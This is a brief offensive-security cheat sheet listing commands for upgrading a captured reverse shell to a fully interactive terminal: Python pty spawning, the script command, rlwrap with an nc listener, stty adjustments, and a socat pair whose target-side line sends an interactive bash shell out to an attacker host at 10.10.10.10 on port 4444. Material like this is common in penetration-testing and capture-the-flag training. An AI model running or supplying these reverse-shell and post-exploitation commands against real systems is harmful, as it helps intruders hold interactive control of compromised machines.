TTY Upgrade
Python PTY
Most common TTY upgrade method
LINUXOSX
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z
stty raw -echo;fg
export TERM=xterm
stty rows 50 cols 200
Script
script command TTY upgrade (no python needed)
LINUXOSX
script /dev/null -c bash
socat TTY upgrade
Full PTY upgrade using socat on both ends
LINUXOSX
# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Target (from dumb shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444
rlwrap
rlwrap adds readline support (arrows, history) to any nc listener
LINUXOSX
rlwrap nc -lvnp 4444
stty fix
Fix terminal size after upgrade
LINUXOSX
# After getting interactive shell:
stty -a # note rows/cols from your terminal
stty rows 48 cols 195